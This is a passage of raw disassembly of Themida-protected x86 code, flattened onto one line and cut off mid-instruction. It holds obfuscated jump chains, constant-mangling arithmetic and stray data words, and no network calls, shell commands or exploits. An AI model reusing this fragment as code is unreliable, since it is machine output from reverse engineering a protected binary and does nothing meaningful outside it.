pop dx sub bl, al push 10B8h mov [esp], edx push ecx jmp loc_5490C5 ; --------------------------------------------------------------------------- loc_54691A: ; CODE XREF: Themida_:0054FDD3j xor esi, 0CD9CD194h add eax, esi pop esi jmp loc_54F3C0 ; --------------------------------------------------------------------------- loc_546928: ; CODE XREF: Themida_:0054973Fj neg esi or esi, 60FA547Ch sub esi, 0F6FFD47Bh push esi mov esi, 5FC1663h shr esi, 8 sub esi, 48C9779Bh sub esi, 8CCC2584h sub ecx, esi pop esi add ecx, esi add ecx, 2A705EF7h pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_548E72 ; --------------------------------------------------------------------------- loc_546965: ; CODE XREF: Themida_:0054EE51j add eax, edi pop edi sub eax, edi sub eax, 3DD01102h pop edi jmp loc_54BFDC ; --------------------------------------------------------------------------- loc_546975: ; CODE XREF: Themida_:005482E4j add esp, 4 push small 0E79h jmp loc_5477D7 ; --------------------------------------------------------------------------- loc_546981: ; CODE XREF: Themida_:0054C217j mov esp, [esp] sub esp, 4 mov [esp], edx push 0 jmp loc_54B622 ; --------------------------------------------------------------------------- loc_546997: ; CODE XREF: Themida_:005440E0j push 5467h mov [esp], eax jmp loc_54A8E6 ; --------------------------------------------------------------------------- loc_5469A4: ; CODE XREF: Themida_:00548094j shr ebx, 3 shr ebx, 7 sub ebx, 1B692Eh jmp loc_54D707 ; --------------------------------------------------------------------------- loc_5469B5: ; CODE XREF: Themida_:0054D869j mov [esp], ecx jmp loc_544022 ; --------------------------------------------------------------------------- sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_54F939 ; --------------------------------------------------------------------------- loc_5469CD: ; CODE XREF: Themida_:0054A351j push ebx jmp loc_54CC91 ; --------------------------------------------------------------------------- loc_5469D3: ; CODE XREF: Themida_:0054F153j sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 jmp loc_548871 ; --------------------------------------------------------------------------- loc_5469F8: ; CODE XREF: Themida_:0054D6A1j mov [esp], edi mov edi, 8DB3872h add eax, edi pop edi add eax, ebx sub eax, 8DB3872h jmp loc_544388 ; --------------------------------------------------------------------------- loc_546A0F: ; CODE XREF: Themida_:0054BED9j add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_548DE3 ; --------------------------------------------------------------------------- loc_546A28: ; CODE XREF: Themida_:00549453j pop ecx xor edx, 3B86187Dh jmp loc_54B4B3 ; --------------------------------------------------------------------------- loc_546A34: ; CODE XREF: Themida_:00548F86j mov [esp], eax jmp loc_548D91 ; --------------------------------------------------------------------------- loc_546A3C: ; CODE XREF: Themida_:00545532j mov cl, bh pop ebx pop edx push 0 sub [esp], cl mov cl, [esp] push eax jmp loc_546FFE ; --------------------------------------------------------------------------- loc_546A51: ; CODE XREF: Themida_:0054DFD4j mov bl, dl mov ch, bl jmp loc_54D1E5 ; --------------------------------------------------------------------------- loc_546A5A: ; CODE XREF: Themida_:005476C8j mov esi, 15EF3F81h add esi, 0EA10C083h add ebp, esi jmp loc_549A9A ; --------------------------------------------------------------------------- loc_546A6C: ; CODE XREF: Themida_:00545E0Aj pop edx sub esi, 19963B8Eh sub esi, 125F22B1h sub esi, ecx jmp loc_54FA84 ; --------------------------------------------------------------------------- loc_546A80: ; CODE XREF: Themida_:0054B82Fj mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] push ecx sub esp, 4 mov [esp], esi push eax mov eax, 555B2F1Ah mov esi, eax mov eax, [esp] jmp loc_549393 ; --------------------------------------------------------------------------- loc_546AA0: ; CODE XREF: Themida_:0054EEB5j push edx jmp loc_54DFCA ; --------------------------------------------------------------------------- loc_546AA6: ; CODE XREF: Themida_:0054EF8Aj or ebp, 501D60B3h xor ebp, 69153BEDh or ebp, 0E927F74h sub ebp, 16D248DBh sub edx, ebp mov ebp, [esp] add esp, 4 add ebx, edx pop edx add ebx, 49A871E8h jmp loc_545928 ; --------------------------------------------------------------------------- loc_546AD4: ; CODE XREF: Themida_:0054FF94j sub edi, 77830B8Fh xor edi, 0C29CE03Fh add [esp+4], edi pop edi mov eax, [esp] push edi jmp loc_54B2BA ; --------------------------------------------------------------------------- loc_546AEE: ; CODE XREF: Themida_:00545138j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_54E71A ; --------------------------------------------------------------------------- loc_546B00: ; CODE XREF: Themida_:0054A98Aj pop ebx jmp loc_544460 ; --------------------------------------------------------------------------- loc_546B06: ; CODE XREF: Themida_:005454C9j mov edx, 4 add edi, edx mov edx, [esp] jmp loc_546BC7 ; --------------------------------------------------------------------------- loc_546B15: ; CODE XREF: Themida_:0054B5A1j push 653Eh mov [esp], eax mov eax, esp push edx jmp loc_54B8E5 ; --------------------------------------------------------------------------- loc_546B25: ; CODE XREF: Themida_:0054B7BFj mov ebx, [esp] jmp loc_54775E ; --------------------------------------------------------------------------- loc_546B2D: ; CODE XREF: Themida_:0054ADC1j xor ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push eax mov ah, dl jmp loc_549AFE ; --------------------------------------------------------------------------- loc_546B41: ; CODE XREF: Themida_:0054C3B0j pop ebx add ebx, 4 push ecx mov ecx, 5C594E31h jmp loc_5485D9 ; --------------------------------------------------------------------------- loc_546B53: ; CODE XREF: Themida_:0054510Bj pop edi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5454B5 ; --------------------------------------------------------------------------- lodsd sub eax, 4B6C78CAh add eax, ebx jmp loc_549EF0 ; --------------------------------------------------------------------------- loc_546B70: ; CODE XREF: Themida_:00546CE9j add ebp, 43273159h neg ebp push esi mov esi, 28646F6Fh shl esi, 1 inc esi shr esi, 1 sub esi, 0D792BD9Ch sub ebp, esi pop esi add ecx, ebp jmp loc_54ECE4 ; --------------------------------------------------------------------------- loc_546B93: ; CODE XREF: Themida_:0054D9D2j pop edi push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_544E77 ; --------------------------------------------------------------------------- loc_546BA8: ; CODE XREF: Themida_:0054ECDFj push eax push 617C0364h pop eax jmp loc_54AF00 ; --------------------------------------------------------------------------- loc_546BB4: ; CODE XREF: Themida_:0054A1C0j mov [esp], edx mov eax, [esp] jmp loc_54E050 ; --------------------------------------------------------------------------- loc_546BBF: ; CODE XREF: Themida_:0054AF5Dj add esp, 4 jmp loc_54A226 ; --------------------------------------------------------------------------- loc_546BC7: ; CODE XREF: Themida_:00546B10j add esp, 4 jmp loc_54E107 ; --------------------------------------------------------------------------- loc_546BCF: ; CODE XREF: Themida_:0054A2F3j sub edi, 1BBB0470h sub esp, 4 mov [esp], edi sub dword ptr [esp], 11C1373Dh pop ecx jmp loc_54F258 ; --------------------------------------------------------------------------- loc_546BE8: ; CODE XREF: Themida_:00547DFDj pop esp add eax, 4 push ecx mov ecx, 2 add eax, ecx jmp loc_548447 ; --------------------------------------------------------------------------- loc_546BFB: ; CODE XREF: Themida_:005463A1j sub esp, 4 mov [esp], eax push edx mov edx, ecx mov eax, edx jmp loc_548CFC ; --------------------------------------------------------------------------- loc_546C0B: ; CODE XREF: Themida_:0054C256j push 45F1h mov [esp], ecx mov ecx, 0BC77FCCh jmp loc_5453B8 ; --------------------------------------------------------------------------- loc_546C1D: ; CODE XREF: Themida_:0054E43Bj pop ebp pop edx sub eax, 15FA0F84h add eax, edx push esi push ebx push 0C2A547Eh pop ebx dec ebx jmp loc_5486D6 ; --------------------------------------------------------------------------- loc_546C34: ; CODE XREF: Themida_:0054944Cj add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_546C49: ; CODE XREF: Themida_:0054C37Fj mov ch, 0EBh or ch, 0F3h xor ch, 1Fh or ch, 0CCh sub ch, 83h jmp loc_547F62 ; --------------------------------------------------------------------------- loc_546C5C: ; CODE XREF: Themida_:0054F9ECj xchg edx, [esp] mov esp, [esp] mov eax, [esp] push 11EDh jmp loc_54630A ; --------------------------------------------------------------------------- loc_546C6F: ; CODE XREF: Themida_:00546391j mov ch, 10h sub bl, ch pop cx add bl, al add bl, 10h push small 7AF0h jmp loc_54780B ; --------------------------------------------------------------------------- loc_546C83: ; CODE XREF: Themida_:0054B708j add esp, 4 xor ch, 0ECh jmp loc_5442E6 ; --------------------------------------------------------------------------- loc_546C91: ; CODE XREF: Themida_:005444D5j add dh, 74h xor dh, 1Eh add al, dh jmp loc_54DE71 ; --------------------------------------------------------------------------- loc_546C9E: ; CODE XREF: Themida_:00549A2Cj inc eax and eax, 501A1280h xor eax, 37C15DA3h xor ebx, eax pop eax mov edx, ebx pop ebx add edx, 4A7D3E53h sub edx, 7C59530Ch add edx, edi add edx, 7C59530Ch jmp loc_5445FD ; --------------------------------------------------------------------------- loc_546CC8: ; CODE XREF: Themida_:0054C1B2j push ebx jmp loc_549CD9 ; --------------------------------------------------------------------------- loc_546CCE: ; CODE XREF: Themida_:0054EC80j mov ebp, [esp] add esp, 4 push ecx mov ecx, esp push ebp mov ebp, 0AFA2465h and ebp, 4437008Bh xor ebp, 6C351CD1h jmp loc_546B70 ; --------------------------------------------------------------------------- loc_546CEE: ; CODE XREF: Themida_:00548E6Dj add ebp, 4 jmp loc_545B1D ; --------------------------------------------------------------------------- mov cx, [esp] push 68EFh jmp loc_549427 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jmp loc_54B14C ; --------------------------------------------------------------------------- loc_546D11: ; CODE XREF: Themida_:0054CD7Aj pop esi sub esp, 4 jmp loc_54B65C ; --------------------------------------------------------------------------- loc_546D1A: ; CODE XREF: Themida_:0054DCCDj xchg edi, [esp] jmp loc_54529C ; --------------------------------------------------------------------------- loc_546D22: ; CODE XREF: Themida_:00545D84j mov ch, 3Bh neg ch push ebx mov bl, 55h xor bl, 5Bh xor ch, bl pop ebx jmp loc_547A85 ; --------------------------------------------------------------------------- loc_546D34: ; CODE XREF: Themida_:0054956Cj sar word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_548B3F ; --------------------------------------------------------------------------- loc_546D47: ; CODE XREF: Themida_:00549A3Fj and eax, esi push dword ptr [esp] jmp loc_546699 ; --------------------------------------------------------------------------- loc_546D51: ; CODE XREF: Themida_:0054C719j add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54835B ; --------------------------------------------------------------------------- loc_546D68: ; CODE XREF: Themida_:00549D22j add esp, 4 push dx jmp loc_54D44F ; --------------------------------------------------------------------------- loc_546D75: ; CODE XREF: Themida_:0054962Ej jmp loc_544022 ; --------------------------------------------------------------------------- loc_546D7A: ; CODE XREF: Themida_:00545215j add edi, 4 add edi, 4 jmp loc_545BAA ; --------------------------------------------------------------------------- loc_546D88: ; CODE XREF: Themida_:00549E76j mov bl, 95h add bl, 0C2h jmp loc_545949 ; --------------------------------------------------------------------------- loc_546D92: ; CODE XREF: Themida_:0054A85Bj or eax, 16E22464h jmp loc_54C507 ; --------------------------------------------------------------------------- loc_546D9C: ; CODE XREF: Themida_:0054438Cj mov esp, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_547EB9 ; --------------------------------------------------------------------------- loc_546DAA: ; CODE XREF: Themida_:0054FF42j mov esi, [esp] push eax jmp loc_547689 ; --------------------------------------------------------------------------- loc_546DB3: ; CODE XREF: Themida_:00544B9Cj mov ecx, 4 add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_5499FE ; --------------------------------------------------------------------------- loc_546DCD: ; CODE XREF: Themida_:0054539Fj mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ebx mov ebx, 4 add edi, 392030C8h jmp loc_5497CF ; --------------------------------------------------------------------------- loc_546DEE: ; CODE XREF: Themida_:0054A637j pop ebp xchg eax, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_546DFE: ; CODE XREF: Themida_:00547494j mov edx, esp jmp loc_54889A ; --------------------------------------------------------------------------- loc_546E05: ; CODE XREF: Themida_:00549D5Fj add edi, 39796AA4h mov eax, [esp] add esp, 4 push edx mov edx, esp jmp loc_5473AF ; --------------------------------------------------------------------------- loc_546E1C: ; CODE XREF: Themida_:0054B44Bj mov dh, 0Ch mov al, dh jmp loc_54828A ; --------------------------------------------------------------------------- loc_546E25: ; CODE XREF: Themida_:0054B6DFj mov esi, 4 add ebp, 594829A8h push 52CFh mov [esp], esi mov esi, 58591859h sub ebp, esi pop esi jmp loc_54739C ; --------------------------------------------------------------------------- loc_546E45: ; CODE XREF: Themida_:00547005j push ecx mov ecx, 4 jmp loc_548F5C ; --------------------------------------------------------------------------- loc_546E50: ; CODE XREF: Themida_:0054A348j push esi mov esi, esp add esi, 4 push eax mov eax, 17607CBh xor eax, 73C05805h sub eax, 436E0FA0h dec eax inc eax jmp loc_54C857 ; --------------------------------------------------------------------------- push 6E49h mov [esp], ecx push esp pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_54FA8A ; --------------------------------------------------------------------------- loc_546E8E: ; CODE XREF: Themida_:0054B581j sub ch, bh pop ebx jmp loc_548901 ; --------------------------------------------------------------------------- loc_546E96: ; CODE XREF: Themida_:0054CC3Dj mov ebx, 24h add ebx, edi xor esi, [ebx] pop ebx xor [edi+24h], esi jmp loc_546396 ; --------------------------------------------------------------------------- loc_546EA8: ; CODE XREF: Themida_:00548FE6j push 7D54h mov [esp], ecx mov ecx, 7B8C3C62h push 7AB1h mov [esp], ecx push ebx pop ecx mov ebx, [esp] jmp loc_54BD7D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push edi jmp loc_54F5CD ; --------------------------------------------------------------------------- loc_546EDC: ; CODE XREF: Themida_:00545C30j push edi push edx mov edx, 24B3E33h or edx, 35820AF6h sub edx, 40A52DBAh shl edx, 5 sub edx, 0B27B1766h mov edi, edx pop edx jmp loc_54B35F ; --------------------------------------------------------------------------- loc_546F00: ; CODE XREF: Themida_:00545503j sub dl, 56h jmp loc_54B107 ; --------------------------------------------------------------------------- loc_546F08: ; CODE XREF: Themida_:0054F819j xchg ecx, [esp] pop esp mov [esp], edi mov edi, 4 add ecx, edi pop edi push esi mov esi, 2 sub ecx, esi pop esi jmp loc_544357 ; --------------------------------------------------------------------------- loc_546F25: ; CODE XREF: Themida_:0054CECDj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov dh, al push 2E70h mov [esp], ecx mov cl, dh push ebx mov ebx, 28h add ebx, edi jmp loc_54B813 ; --------------------------------------------------------------------------- loc_546F50: ; CODE XREF: Themida_:00546187j pop eax jmp loc_54DB3D ; --------------------------------------------------------------------------- loc_546F56: ; CODE XREF: Themida_:0054CB22j mov edi, ecx pop ecx and eax, edi jmp loc_547FB8 ; --------------------------------------------------------------------------- loc_546F60: ; CODE XREF: Themida_:005464A7j xor bl, 2Fh shr bl, 7 push eax mov ah, 2Dh and ah, 0F4h neg ah jmp loc_54EF9B ; --------------------------------------------------------------------------- loc_546F73: ; CODE XREF: Themida_:0054BE1Cj mov edx, [esp] add esp, 4 add esp, 4 shr eax, 0Ch jmp loc_546261 ; --------------------------------------------------------------------------- loc_546F87: ; CODE XREF: Themida_:0054B649j push ebp mov ebp, esp add ebp, 4 jmp loc_54A9D2 ; --------------------------------------------------------------------------- loc_546F95: ; CODE XREF: Themida_:00545297j push ecx mov ecx, 682E02E2h sub ebx, 3BE57C94h add ebx, ecx jmp loc_547856 ; --------------------------------------------------------------------------- loc_546FA8: ; CODE XREF: Themida_:005476BAj add esp, 4 xor esi, edx xor edx, esi jmp loc_54F4B2 ; --------------------------------------------------------------------------- loc_546FB7: ; CODE XREF: Themida_:0054B03Aj sub esp, 4 mov [esp], ebx mov ebx, esp push edi mov edi, 4 push edx jmp loc_54DCD2 ; --------------------------------------------------------------------------- loc_546FCB: ; CODE XREF: Themida_:0054B286j xor al, dl xor dl, al neg al jmp loc_54C812 ; --------------------------------------------------------------------------- loc_546FD6: ; CODE XREF: Themida_:0054B430j mov eax, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push esp jmp loc_54DCF5 ; --------------------------------------------------------------------------- loc_546FEE: ; CODE XREF: Themida_:00548EFDj pop dword ptr [esp] push edi push esp mov edi, [esp] add esp, 4 jmp loc_54618C ; --------------------------------------------------------------------------- loc_546FFE: ; CODE XREF: Themida_:00546A4Cj mov eax, esp add eax, 4 jmp loc_546E45 ; --------------------------------------------------------------------------- loc_54700A: ; CODE XREF: Themida_:0054563Aj mov [esp], esi mov esi, 6C24395Bh add esi, 34FB05DFh inc esi shl esi, 6 jmp loc_54F39B ; --------------------------------------------------------------------------- loc_547021: ; CODE XREF: Themida_:0054F765j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esi, 2 xchg esi, [esp] jmp loc_54D024 ; --------------------------------------------------------------------------- loc_547039: ; CODE XREF: Themida_:0054808Ej xor esi, 24B32831h sub edi, 55E731EFh sub edi, esi add edi, 55E731EFh pop esi jmp loc_54BDC7 ; --------------------------------------------------------------------------- loc_547053: ; CODE XREF: Themida_:0054E3E2j mov cx, [esp] push eax push esp push dword ptr [esp] pop eax sub esp, 4 jmp loc_54CB3B ; --------------------------------------------------------------------------- loc_547065: ; CODE XREF: Themida_:0054A97Aj not edi xor edi, 43B54A86h jmp loc_54E302 ; --------------------------------------------------------------------------- loc_547072: ; CODE XREF: Themida_:00545322j push esi jmp loc_54BCD7 ; --------------------------------------------------------------------------- loc_547078: ; CODE XREF: Themida_:0054FE44j or eax, 448B126Fh shl eax, 4 add eax, 57EB9EE6h sub esi, eax pop eax mov edi, esi jmp loc_54498D ; --------------------------------------------------------------------------- loc_54708F: ; CODE XREF: Themida_:0054B518j mov [esp], ebx jmp loc_548970 ; --------------------------------------------------------------------------- push ebx mov bl, 1Bh jmp loc_54682D ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax mov eax, 0FFFFFBFFh and [edi+1Ch], eax jmp loc_54C2F4 ; --------------------------------------------------------------------------- loc_5470B5: ; CODE XREF: Themida_:0054D63Fj pop edx shl edi, 8 push ebp mov ebp, 2BEF046Bh sub ebp, 2BEF046Ch sub edi, ebp pop ebp jmp loc_54C8F7 ; --------------------------------------------------------------------------- loc_5470CD: ; CODE XREF: Themida_:0054F92Cj mov ecx, 59B57965h neg ecx jmp loc_546094 ; --------------------------------------------------------------------------- loc_5470D9: ; CODE XREF: Themida_:005481F7j neg ebp sub ebp, 6C3D9190h sub ecx, ebp pop ebp add ecx, ebp jmp loc_54AD07 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_54C6AC ; --------------------------------------------------------------------------- loc_5470F3: ; CODE XREF: Themida_:0054F48Fj mov esi, ebp pop ebp and eax, esi jmp loc_5476E1 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx jmp loc_54EB95 ; --------------------------------------------------------------------------- loc_547109: ; CODE XREF: Themida_:0054F20Bj pop cx shr bh, 8 xor bh, 0DBh push edx push eax mov ah, 19h jmp loc_5500AC ; --------------------------------------------------------------------------- loc_54711A: ; CODE XREF: Themida_:0054C4A4j push 6677h jmp loc_54B64E ; --------------------------------------------------------------------------- dd 6CE9D800h, 66FFFFFFh, 57240C8Bh, 5650E789h, 710DBB53h dd 0E951150Bh, 0B0Eh, 8B92D029h, 0C4832404h, 0F0E95704h dd 0AD00003Eh, 177D68h, 243C8900h, 0C781E789h, 4, 0FFF858E9h db 0FFh ; --------------------------------------------------------------------------- loc_547165: ; CODE XREF: Themida_:0054549Aj xor al, bl mov ebx, [esp] jmp loc_5488C0 ; --------------------------------------------------------------------------- loc_54716F: ; CODE XREF: Themida_:0054FAAAj mov [esp], edi not dword ptr [esp] pop edi shr edi, 6 push edi not dword ptr [esp] pop edi sub edi, 1D741BDFh push esi push eax mov eax, 75C5B8Ah shl eax, 1 dec eax jmp loc_544844 ; --------------------------------------------------------------------------- loc_547193: ; CODE XREF: Themida_:0054B9AEj add esp, 4 and eax, ebp jmp loc_54B542 ; --------------------------------------------------------------------------- loc_5471A0: ; CODE XREF: Themida_:0054E56Cj mov esi, [esp] jmp loc_545990 ; --------------------------------------------------------------------------- loc_5471A8: ; CODE XREF: Themida_:0054FD86j push ebp jmp loc_549282 ; --------------------------------------------------------------------------- loc_5471AE: ; CODE XREF: Themida_:0054543Aj add edi, 6CA61F92h jmp loc_54D8F2 ; --------------------------------------------------------------------------- loc_5471B9: ; CODE XREF: Themida_:0054AC80j add eax, edi mov edi, [esp] add esp, 4 add ebx, eax pop eax jmp loc_54A576 ; --------------------------------------------------------------------------- loc_5471CC: ; CODE XREF: Themida_:005489D3j dec edx not edx jmp loc_54CA35 ; --------------------------------------------------------------------------- loc_5471D4: ; CODE XREF: Themida_:0054C792j push esp pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_544B51 ; --------------------------------------------------------------------------- loc_5471F0: ; CODE XREF: Themida_:0054CB6Dj shl edx, 1 add edx, 0DEE9E2FCh sub eax, 157774EBh add eax, edx add eax, 157774EBh jmp loc_54C235 ; --------------------------------------------------------------------------- loc_547209: ; CODE XREF: Themida_:0054C4CCj add eax, ebp pop ebp push esi push ebp mov ebp, 16D66491h add ebp, 7AE40239h add ebp, 22C17CE8h shr ebp, 2 jmp loc_54DF8A ; --------------------------------------------------------------------------- loc_547227: ; CODE XREF: Themida_:0054527Bj xor edx, [esp] mov esp, [esp] mov [esp], edx mov edx, 4 jmp loc_5491CD ; --------------------------------------------------------------------------- loc_54723A: ; CODE XREF: Themida_:0054CF7Bj push edi mov edi, esp push esi mov esi, 4 add edi, esi jmp loc_54F139 ; --------------------------------------------------------------------------- loc_54724A: ; CODE XREF: Themida_:0054B09Fj mov dl, 0Eh sub bl, dl pop dx add bl, 0C8h jmp loc_549209 ; --------------------------------------------------------------------------- loc_547258: ; CODE XREF: Themida_:00547B38j pop ebx push esi push dword ptr [esp+4] pop esi jmp loc_545376 ; --------------------------------------------------------------------------- loc_547264: ; CODE XREF: Themida_:00545399j pop esi xor ebx, 9D542B3h add eax, ebx pop ebx push 7784h mov [esp], ebp push edi jmp loc_54EDC8 ; --------------------------------------------------------------------------- loc_54727C: ; CODE XREF: Themida_:0054AE75j pop ecx push esi jmp loc_544C9B ; --------------------------------------------------------------------------- loc_547283: ; CODE XREF: Themida_:00547D46j mov esi, eax mov eax, [esp] add esp, 4 push ecx mov ecx, 9B1B276h sub esi, 2B883F44h add esi, ecx add esi, 2B883F44h pop ecx dec esi jmp loc_54C74F ; --------------------------------------------------------------------------- loc_5472A9: ; CODE XREF: Themida_:0054BF7Aj push ebx mov ebx, 91F6F35h and ebp, ebx mov ebx, [esp] add esp, 4 push ecx mov ecx, 5D5A835h xor ebp, ecx jmp loc_54FF9F ; --------------------------------------------------------------------------- loc_5472C4: ; CODE XREF: Themida_:0054DC2Ej shl ecx, 8 inc ecx inc ecx add ecx, 51873002h mov eax, ecx pop ecx mov ecx, eax pop eax add ebx, ecx pop ecx push ecx mov ecx, 4 jmp loc_54909C ; --------------------------------------------------------------------------- loc_5472E3: ; CODE XREF: Themida_:0054DC48j add esp, 4 pop dword ptr [esp] pop esp push 6CE9h mov [esp], edi jmp loc_54CCC2 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_54FED9 ; --------------------------------------------------------------------------- loc_547303: ; CODE XREF: Themida_:00546830j shl bl, 1 add bl, 34h jmp loc_54E733 ; --------------------------------------------------------------------------- loc_54730D: ; CODE XREF: Themida_:00548BEFj pop esp mov [esp], eax mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_547CFB ; --------------------------------------------------------------------------- loc_547322: ; CODE XREF: Themida_:0054DBF8j sub edx, ecx add edx, 0E42E75h jmp loc_547B3D ; --------------------------------------------------------------------------- loc_54732F: ; CODE XREF: Themida_:005446BBj push esi mov esi, 348558B6h push edx mov edx, 74B30BBBh jmp loc_545A4C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_548626 ; --------------------------------------------------------------------------- loc_547349: ; CODE XREF: Themida_:0054DB68j mov ebx, [esp] jmp loc_54BD5A ; --------------------------------------------------------------------------- mov ax, [esp] push 32CCh mov [esp], ebx push esp pop ebx push 6334h mov [esp], esi push edi push 68F13C6Bh pop edi jmp loc_54CF80 ; --------------------------------------------------------------------------- loc_547373: ; CODE XREF: Themida_:0054E110j mov esp, [esp] push dword ptr [esp] jmp loc_5482BF ; --------------------------------------------------------------------------- loc_54737E: ; CODE XREF: Themida_:0055008Bj add dh, 0C3h jmp loc_54B5A6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 jmp loc_5453A4 ; --------------------------------------------------------------------------- loc_54739C: ; CODE XREF: Themida_:00546E40j add ebp, esi push ecx mov ecx, 0C743880h neg ecx shl ecx, 3 dec ecx jmp loc_5493BA ; --------------------------------------------------------------------------- loc_5473AF: ; CODE XREF: Themida_:00546E17j add edx, 4 jmp loc_549BB6 ; --------------------------------------------------------------------------- loc_5473BA: ; CODE XREF: Themida_:00548BAAj add edx, ebx pop ebx jmp loc_544645 ; --------------------------------------------------------------------------- loc_5473C2: ; CODE XREF: Themida_:0054AED6j sub bl, 0EDh push ax jmp loc_54EF40 ; --------------------------------------------------------------------------- loc_5473CC: ; CODE XREF: Themida_:00544C7Fj mov edx, esp push ebp mov ebp, 4 add edx, 6B0B77E6h add edx, ebp sub edx, 6B0B77E6h pop ebp push eax jmp loc_54BB5E ; --------------------------------------------------------------------------- loc_5473E9: ; CODE XREF: Themida_:00545982j add esi, eax add esi, 7E585286h pop eax push edx push 0A31h jmp loc_54AD29 ; --------------------------------------------------------------------------- loc_5473FD: ; CODE XREF: Themida_:0054E1E6j mov edi, 38700A7Ah push ebx mov ebx, 27801D85h sub ebx, 22F45B72h inc ebx add ebx, 7D9D0ACFh sub ebx, 608F9208h add edi, ebx pop ebx xor edi, 306B57DCh jmp loc_54CC2B ; --------------------------------------------------------------------------- loc_547429: ; CODE XREF: Themida_:0054D513j add ebx, 4 sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 7B02439Dh mov ecx, 0BD0A453Fh sub ecx, esi pop esi push ebp mov ebp, 313208D5h xor ecx, ebp pop ebp sub ecx, 733A0975h add ebx, ecx pop ecx sub esp, 4 jmp loc_5489D8 ; --------------------------------------------------------------------------- loc_547468: ; CODE XREF: Themida_:0054D7E4j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_54654B ; --------------------------------------------------------------------------- loc_547477: ; CODE XREF: Themida_:00549838j xor edx, 11A73222h xor edi, edx jmp loc_545C92 ; --------------------------------------------------------------------------- loc_547484: ; CODE XREF: Themida_:00544BB6j sub esp, 4 jmp loc_544E9C ; --------------------------------------------------------------------------- push ecx sub esp, 4 mov [esp], eax push edx jmp loc_546DFE ; --------------------------------------------------------------------------- loc_547499: ; CODE XREF: Themida_:0054EC77j sub esp, 4 jmp loc_54BB9E ; --------------------------------------------------------------------------- loc_5474A1: ; CODE XREF: Themida_:00549872j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], edi jmp loc_548229 ; --------------------------------------------------------------------------- loc_5474C3: ; CODE XREF: Themida_:0054AF2Aj xor al, 61h or al, 3Eh push ebx jmp loc_54528B ; --------------------------------------------------------------------------- loc_5474CD: ; CODE XREF: Themida_:00545C75j sub ecx, 0BCE379Fh add ecx, 0D98EC196h add esi, ecx pop ecx push esi push dword ptr [esp+4] pop esi jmp loc_54F631 ; --------------------------------------------------------------------------- loc_5474E7: ; CODE XREF: Themida_:0054C937j xchg ebx, [esp] jmp loc_549F61 ; --------------------------------------------------------------------------- loc_5474EF: ; CODE XREF: Themida_:005451B1j push esi mov esi, 5F8A55D3h jmp loc_5493C8 ; --------------------------------------------------------------------------- loc_5474FA: ; CODE XREF: Themida_:0054E39Bj push eax mov eax, 5820D1Fh jmp loc_54D8A9 ; --------------------------------------------------------------------------- loc_547505: ; CODE XREF: Themida_:0054E9CFj mov ecx, 138F6358h xor ecx, 29A04FAFh jmp loc_549641 ; --------------------------------------------------------------------------- loc_547515: ; CODE XREF: Themida_:00548D8Cj xchg dl, cl add cl, 0E2h xor al, cl jmp loc_54791B ; --------------------------------------------------------------------------- loc_547521: ; CODE XREF: Themida_:0054806Fj dec esi jmp loc_547642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_547527: ; CODE XREF: sub_545BCC+52D3j sub bl, ch sub bl, 49h pop ecx add bl, al push ecx jmp loc_54D1EE ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_547545: ; CODE XREF: Themida_:0054F8B1j push edi push edx jmp loc_54E141 ; --------------------------------------------------------------------------- loc_54754C: ; CODE XREF: Themida_:00544DC3j mov ecx, 0FC7FBBADh xor edx, ecx jmp loc_54518D ; --------------------------------------------------------------------------- loc_547558: ; CODE XREF: Themida_:00545A47j xchg edx, [esp] pop esp shl esi, 5 inc esi add esi, 0D25B0F81h add edi, esi mov esi, [esp] push edx mov edx, esp push ecx mov ecx, 5AB40708h shr ecx, 8 shr ecx, 6 sub ecx, 16ACCh add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp xchg edi, 